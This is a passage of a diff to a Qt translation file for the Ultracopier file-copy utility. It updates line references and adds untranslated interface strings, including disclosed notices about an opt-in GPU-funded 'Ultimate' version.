<source>About %1 hours remaining</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../FacilityEngine.cpp" line="47"/>
+ <source>Transfer</source>
+ <extracomment>a transfer</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <source>Start</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="55"/>
<source>Source</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="48"/>
+ <location filename="../../../FacilityEngine.cpp" line="56"/>
<source>Size</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="49"/>
+ <location filename="../../../FacilityEngine.cpp" line="57"/>
<source>Destination</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="50"/>
+ <location filename="../../../FacilityEngine.cpp" line="58"/>
<source>Quit</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="51"/>
+ <location filename="../../../FacilityEngine.cpp" line="59"/>
<source>Target</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="52"/>
- <location filename="../../../FacilityEngine.cpp" line="56"/>
+ <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="64"/>
<source>Time remaining:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="53"/>
+ <location filename="../../../FacilityEngine.cpp" line="61"/>
<source>Listing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="54"/>
+ <location filename="../../../FacilityEngine.cpp" line="62"/>
<source>Copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="55"/>
+ <location filename="../../../FacilityEngine.cpp" line="63"/>
<source>Listing and copying</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="58"/>
+ <location filename="../../../FacilityEngine.cpp" line="66"/>
<source>Ask</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="60"/>
+ <location filename="../../../FacilityEngine.cpp" line="68"/>
<source>Overwrite</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="61"/>
+ <location filename="../../../FacilityEngine.cpp" line="69"/>
<source>Overwrite if newer</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="62"/>
+ <location filename="../../../FacilityEngine.cpp" line="70"/>
<source>Overwrite if the last modification dates are different</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="63"/>
+ <location filename="../../../FacilityEngine.cpp" line="71"/>
<source>Rename</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="64"/>
- <source>Put to end of the list</source>
+ <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <source>Put to the end of the list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="65"/>
+ <location filename="../../../FacilityEngine.cpp" line="73"/>
<source>Select source directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="66"/>
+ <location filename="../../../FacilityEngine.cpp" line="74"/>
<source>Select destination directory</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="67"/>
+ <location filename="../../../FacilityEngine.cpp" line="75"/>
<source>Internal error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="68"/>
+ <location filename="../../../FacilityEngine.cpp" line="76"/>
<source>Select one or more files to open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="69"/>
+ <location filename="../../../FacilityEngine.cpp" line="77"/>
<source>All files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
@@ -480,12 +569,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,257 +673,318 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
